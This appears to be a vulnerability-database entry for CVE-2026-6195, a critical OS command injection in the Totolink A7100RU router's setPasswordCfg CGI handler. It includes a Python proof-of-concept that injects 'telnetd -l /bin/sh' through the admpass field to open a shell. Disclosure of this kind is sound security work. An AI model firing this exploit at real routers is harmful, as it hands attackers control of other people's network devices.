Security Vulnerability Report
中文
CVE-2026-6195 CVSS 9.8 CRITICAL

CVE-2026-6195

Published: 2026-04-13 18:16:32
Last Modified: 2026-04-22 20:23:16

Description

A security vulnerability has been detected in Totolink A7100RU 7.4cu.2313_b20191024. Affected by this issue is the function setPasswordCfg of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. Such manipulation of the argument admpass leads to os command injection. The attack can be executed remotely. The exploit has been disclosed publicly and may be used.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Totolink A7100RU 7.4cu.2313_b20191024

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # Headers to mimic a browser headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } # Payload data injecting a command (e.g., telnet enable or reboot) # The payload exploits the 'admpass' parameter in 'setPasswordCfg' data = { "function": "setPasswordCfg", "admpass": "admin; telnetd -l /bin/sh" # Injecting command to start telnet } try: response = requests.post(url, headers=headers, data=data, timeout=5) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Body: {response.text}") except Exception as e: print(f"[-] Error occurred: {e}")

References

Raw JSON Data

JSON
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